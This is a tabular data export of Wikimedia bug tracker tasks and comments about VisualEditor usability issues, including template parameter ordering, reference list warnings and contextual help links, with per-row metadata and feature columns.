+252246,VisualEditor: Template parameters should be in TemplateData recommended order,*** Bug 53891 has been marked as a duplicate of this bug. ***,,,1380655447,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+252242,VisualEditor: Template parameters should be in TemplateData recommended order,"(In reply to comment #4)
+> There is a good case for imposing some ordering on the template parameters.
+> Often you find some parameters naturally group together. Take for example
+> http://en.wikipedia.org/wiki/Template:Infobox_single/doc There are various
+> parameters which group together:
+> *Ones relating to the image (Cover, Alt, Caption and Border)
+> *Ones to do with the single chronology (Last single, This single, Next
+> single)
+> for infoboxes a prefered order would generally be the order they appear in
+> the
+> template.
+
+Yeah, that sounds a totally reasonable thing to add. Making a bug now…",,,1377903725,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,True,,,8,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+252238,VisualEditor: Template parameters should be in TemplateData recommended order,"There is a good case for imposing some ordering on the template parameters. Often you find some parameters naturally group together. Take for example http://en.wikipedia.org/wiki/Template:Infobox_single/doc There are various parameters which group together:
+*Ones relating to the image (Cover, Alt, Caption and Border)
+*Ones to do with the single chronology (Last single, This single, Next single)
+for infoboxes a prefered order would generally be the order they appear in the template.",,,1377903377,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+252234,VisualEditor: Template parameters should be in TemplateData recommended order,"There is no such thing as ""TemplateData recommended order""; the JSON block is unordered and can't be relied upon. Does this imply that we should have a ""parameter order"" value for TemplateData?",,,1377900547,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0
+252230,VisualEditor: Template parameters should be in TemplateData recommended order,"Another example is [[pl:Template:Związek chemiczny infobox]] on pl.wp (infobox for chemical compounds) which has a lot of parameters which should be shown together, but which are not always alphabetically one after another. These groups are for example:
+
+* gęstość + gęstość źródło + stan skupienia w podanej g + g warunki niestandardowe (density, source for density, state of matter for this density, non-standard environment conditions for the density)
+* rozpuszczalność w wodzie + rww źródło + rww warunki niestandardowe (solubility in water, source, non-standard environment conditions)",,,1375226159,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+252226,VisualEditor: Template parameters should be in TemplateData recommended order,"An example of this is {{Taxobox}} which has 100+ parameters. There are about 10 recommended parameters which go at the top the list and the rest of the parameters have a strict ordering depending on taxonomic hierarchy. Kingdom, Phylum, Class,	Order, Family, Subfamily, Genus, Species. An example of use is http://en.wikipedia.org/wiki/Formica which gives the fields in a confusing alphabetial order (latin names are used for the fields).
+
+A second problem is the order when no templatedata is specified. In the article http://en.wikipedia.org/wiki/Where_Does_This_Door_Go?veaction=edit
+if you open up the dialog for the {{tracklist}} the parameters are listed in the order track1, track10, track11 ... track15 track2 track3 ... track9. Ideally they would be in strict numerical ordering. This would require a smarter sorting algorithm than just alphabetical. 
+
+Another note is that case insensitive sort is better than case sensitive sort as templates often have the same parameter with different capitalization, 'Image' and 'image'.",,,1374674837,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+53873,VisualEditor: Warning for blank reference list is confusing,"Removing the last reference on a page, with <references/> present, causes the waring:
+
+There are no references with the group """" on this page.
+
+That should be 
+
+There are no references on this page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374580740,1380747863.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1
+248542,VisualEditor: Warning for blank reference list is confusing,"Change 86656 merged by jenkins-bot:
+Add specific message for empty ref group list
+
+https://gerrit.wikimedia.org/r/86656",,,1380747909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248538,VisualEditor: Warning for blank reference list is confusing,"Change 86656 had a related patch set uploaded by Esanders:
+Add specific message for empty ref group list
+
+https://gerrit.wikimedia.org/r/86656",,,1380577840,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248534,VisualEditor: Warning for blank reference list is confusing,"I agree with John: Most pages dont used grouped references. It would be much more intuitive to say that there are no references at all. Several users in the Hebrew Wikipedia complained about it, and I imagine that it's the same in all languages.",,,1374823191,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0
+248530,VisualEditor: Warning for blank reference list is confusing,"In the use-case for this bug, there are no references of any group, so why mention groups at all.  IMO the UI shouldnt talk about groups unless it is necessary.  Most pages dont used grouped references.",,,1374612826,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0
+248524,VisualEditor: Warning for blank reference list is confusing,"(In reply to comment #0)
+> Removing the last reference on a page, with <references/> present, causes the
+> waring:
+> 
+> There are no references with the group """" on this page.
+> 
+> That should be 
+> 
+> There are no references on this page.
+
+No. You can have dozens of <ref group=""foo"">s and no <ref>s and get that message.
+
+Perhaps a special-case of ""There are no references without a group on this page."" for the null-group instance?",,,1374591288,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sl6ozzm6vdvlvv4lpkc6,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+53864,VisualEditor: Allow per-wiki/-namespace disabling of formatting styles e.g. page title,"On the English Wikipedia the page title formatting level is never used in article space, although I understand it is used on some other wikis. It might be that other wikis do not use a dfferent page style.
+
+Accordingly it would be nice to be able to remove/suppress/disable this item from the list on a per namespace (or, less ideally, per wiki) to avoid confusion to new editors. 
+
+Unless this is absolutely trivial to implement, please regard it as a low priority enhancement request.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374576000,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7abqyeltz5gnkmdn4t4n,task_description,open,True,c1,3,False,False,,3,,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+248046,VisualEditor: Allow per-wiki/-namespace disabling of formatting styles e.g. page title,"Sadly not trivial, but yes, this level of flexible configuration would be nice.",,,1374591912,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7abqyeltz5gnkmdn4t4n,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+53824,VisualEditor: Display name of transclusions as a tool-tip when selected,"At en.wp a user comments:
+""The tooltip with a ""puzzle"" icon that appears when clicking on a template should contain the name of the template used. This would allow readers to be aware of which template they're about to change and would make the Templates interface [[self-documenting]], teaching by example the existence of the most common templates.
+
+For example, the next screenshot would contain the word ""Chembox"" besides the puzzle icon:""
+
+Screenshot: [[File:VisualEditor - Template editing 1.png]]
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51827",Low,25.0,1374512400,1416249978.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-25n5vcma7cdemv6yuhj7,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+245925,VisualEditor: Display name of transclusions as a tool-tip when selected,"(In reply to Alex Monk from comment #3)
+> Don't we have this now? What to do about this bug?
+
+Yes, fixed by Trevor's new context menus as of 6 months or so ago.",,,1416249978,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-25n5vcma7cdemv6yuhj7,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+245917,VisualEditor: Display name of transclusions as a tool-tip when selected,Don't we have this now? What to do about this bug?,,,1416190833,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-25n5vcma7cdemv6yuhj7,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+245908,VisualEditor: Display name of transclusions as a tool-tip when selected,"(In reply to comment #1)
+> What would this do when multiple templates (or other transclusions) are used
+> in
+> the scope of one transclusion block, like the succession boxes?
+
+I can think of three logical options:
+
+1. The name of the first template and some indication (perhaps an asterisk?) that there are multiple translcusions in the block, e.g. ""s-start *""
+
+2. a list of all the items in the transclusion, e.g. for [[Alan Williams]]:
+
+s-start
+s-par
+s-bef
+s-ttl
+s-aft
+s-end
+
+Note that above, each template is listed only once, even for multiple occurrences, showing repeats is possible also.
+
+3. The names of the first and last templates with an indication (probably an ellipsis) that there are omitted elements, e.g. ""s-start ... s-end"" or
+s-start
+...
+s-end
+
+The horizontal format I'd guess might be easiest to program but would only work for templates with short names.
+
+In either 1 or 3 there could be a way to click to see the templates that are omitted. However I'm not sure how useful that would be, so my suggestion would be to just leave passive provision for it to be added later without difficulty should it be requested.",,,1383349090,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-25n5vcma7cdemv6yuhj7,task_subcomment,,True,c1,3,False,,,17,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+245900,VisualEditor: Display name of transclusions as a tool-tip when selected,"What would this do when multiple templates (or other transclusions) are used in the scope of one transclusion block, like the succession boxes?",,,1383282851,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-25n5vcma7cdemv6yuhj7,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+53823,VisualEditor: Double-clicking on an image in the image finder inserts it twice,"If you open up the image finder, identify an image you want and /double/ click on it, the image finder closes and the selected image is inserted twice.
+
+Debian/Iceweasel 17.0.7.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1374511980,1395355791.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-hkdfdeny5avjlyz74jqn,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+245851,VisualEditor: Double-clicking on an image in the image finder inserts it twice,I believe we fixed this yonks ago; sorry for slow response.,,,1395355791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hkdfdeny5avjlyz74jqn,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+245846,VisualEditor: Double-clicking on an image in the image finder inserts it twice,Also in Chrome 28/Windows 7.,,,1374681230,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hkdfdeny5avjlyz74jqn,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245841,VisualEditor: Double-clicking on an image in the image finder inserts it twice,"Screenshot
+
+**Attached**: {F11569}",,,1374512097,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hkdfdeny5avjlyz74jqn,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+53816,VisualEditor: Note that Wikidata exists in the description text above the read-only language links section in the meta dialog,"In the site settings dialog you can see a list of language/interwiki links for the current article. There is a explanation text saying those can only be edited in the wikitext editor. Because of Wikidata this is now no longer true for most articles. The text should be adapted and maybe link to the corresponding Wikidata item?
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Low,25.0,1374504240,1385506384.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-mztpccwdq5aifemh7iim,task_description,resolved,True,c1,3,True,False,False,3,,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,1,0
+245478,VisualEditor: Note that Wikidata exists in the description text above the read-only language links section in the meta dialog,"\o/
+thanks!",,,1385506631,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-mztpccwdq5aifemh7iim,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+245471,VisualEditor: Note that Wikidata exists in the description text above the read-only language links section in the meta dialog,"Change 97516 merged by jenkins-bot:
+Note language links need to be edited on Wikidata
+
+https://gerrit.wikimedia.org/r/97516",,,1385506442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mztpccwdq5aifemh7iim,task_subcomment,,True,c1,3,False,,,21,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+245465,VisualEditor: Note that Wikidata exists in the description text above the read-only language links section in the meta dialog,"Change 97516 had a related patch set uploaded by Jforrester:
+Note language links need to be edited on Wikidata
+
+https://gerrit.wikimedia.org/r/97516",,,1385392603,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mztpccwdq5aifemh7iim,task_subcomment,,True,c1,3,False,,,21,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53798,"There should be help links in every context - dialog boxes, inspectors, etc.","I could only find one major button that leads to the help pages - the one at the top toolbar. Ideally, there should be help buttons in every context - dialog boxes, inspector, plugins, etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T53237}",Low,25.0,1374488460,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-qeadal5vtjyli2cuuxzk,task_description,open,True,c1,3,False,False,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+411488,"There should be help links in every context - dialog boxes, inspectors, etc.","We disagree with the premise; instead, there should only be help links where they are useful to explain the complexity of a control to the user. Most of this is already done, and the focus areas for this release don't have this level of complexity required. Consequently, we decided to remove this from the Q3 blockers list at the triage meeting on 2015-02-11.",,,1423879363,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,84,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+410176,"There should be help links in every context - dialog boxes, inspectors, etc.","They are definitely in the i18n system, for example https://meta.wikimedia.org/wiki/MediaWiki:Visualeditor-dialog-meta-categories-defaultsort-help/en",,,1423690069,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,84,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+410172,"There should be help links in every context - dialog boxes, inspectors, etc.","The relevant documentation about messages (i18n system) appears to include 
+* https://www.mediawiki.org/wiki/Help:System_message
+* https://www.mediawiki.org/wiki/Localisation#Adding_new_messages
+* https://www.mediawiki.org/wiki/Localisation_file_format
+* https://www.mediawiki.org/wiki/Help:System_message#Finding_messages_and_documentation
+
+The last of these says ""How each message is used by MediaWiki, variables available, parameters used, limitations, et cetera is explained with the complete documentation in the qqq pseudo-language files"", with a link to here:
+
+* https://translatewiki.net/w/i.php?title=Special%3ATranslate&task=reviewall&group=core&language=qqq&limit=5000&tux=0
+
+On that page, if I change the Group field to any of the four VisualEditor groups, and then look for the messages that James added to all items related to one VE menu, I can't find those messages. Should I be looking somewhere else, or are the messages not in the i18n system?",,,1423689769,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,84,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+409719,"There should be help links in every context - dialog boxes, inspectors, etc.",">>! In T53798#1029938, @John_Broughton wrote:
+> * The content of contextual help should be similar to templates: visible to everyone, each on separate page, with a related talk pages, but not necessarily editable by anyone but an admin. What //isn't// needed is some programmer-added contextual help; what is needed is a //system// so that creating and modifying contextual help is done by members of Wikipedia communities. [For example, pages could be named something like this: Help:VisualEditor/ContextHelp///label//, where ""label"" is a unique name for where the contextual help will appear.
+
+MediaWiki already solved this problem long ago with the i18n system and the MediaWiki: system namespace. Either look at the changes made to the i18n/en.json file, or search for the text you want changed, to find out which page in the MediaWiki namespace an admin needs to change. These MediaWiki pages can also have related talk pages.
+
+
+>>! In T53798#1029938, @John_Broughton wrote:
+> * Contextual help should be able to include links - because linking to the relevant section (or anchor point - see WP:EIW, for example) is important when the (relatively short) contextual help isn't sufficient.
+
+I think we could allow that, but we'd need to change OO.ui.FieldLayout to accept HTML for the 'help' configuration, and then make VE-MW parse the help messages.
+",,,1423651331,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,84,,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+409717,"There should be help links in every context - dialog boxes, inspectors, etc.",">>! In T53798#1029938, @John_Broughton wrote:
+> * The content of contextual help should be similar to templates: visible to everyone, each on separate page, with a related talk pages, but not necessarily editable by anyone but an admin. What //isn't// needed is some programmer-added contextual help; what is needed is a //system// so that creating and modifying contextual help is done by members of Wikipedia communities. [For example, pages could be named something like this: Help:VisualEditor/ContextHelp///label//, where ""label"" is a unique name for where the contextual help will appear.
+
+MediaWiki already solved this problem long ago with the i18n system and the MediaWiki: system namespace. Either look at the changes made to the i18n/en.json file, or search for the text you want changed, to find out which page in the MediaWiki namespace an admin needs to change. These MediaWiki pages can also have related talk pages.
+
+
+>>! In T53798#1029938, @John_Broughton wrote:
+> * Contextual help should be able to include links - because linking to the relevant section (or anchor point - see WP:EIW, for example) is important when the (relatively short) contextual help isn't sufficient.
+
+I think we could allow that, but we'd need to change OO.ui.FieldLayout to accept HTML for the 'help' configuration.
+",,,1423651288,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,84,,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+409634,"There should be help links in every context - dialog boxes, inspectors, etc.","Those who noticed the contextual help on the meta (page settings) menu - I'm not one of them - apparently didn't think it was worth commenting at WP:VE/F, or its equivalent at mediawiki.org. That may because contextual help was added to the VE menu //least used.// Or because no one was overwhelmed by the wording in the contextual help popups. Or because there was no obvious way to suggest improvements in wording. Regardless of the reasons, the lack of a response should absolutely not be taken to be a polling of the user community.
+
+More generally:
+
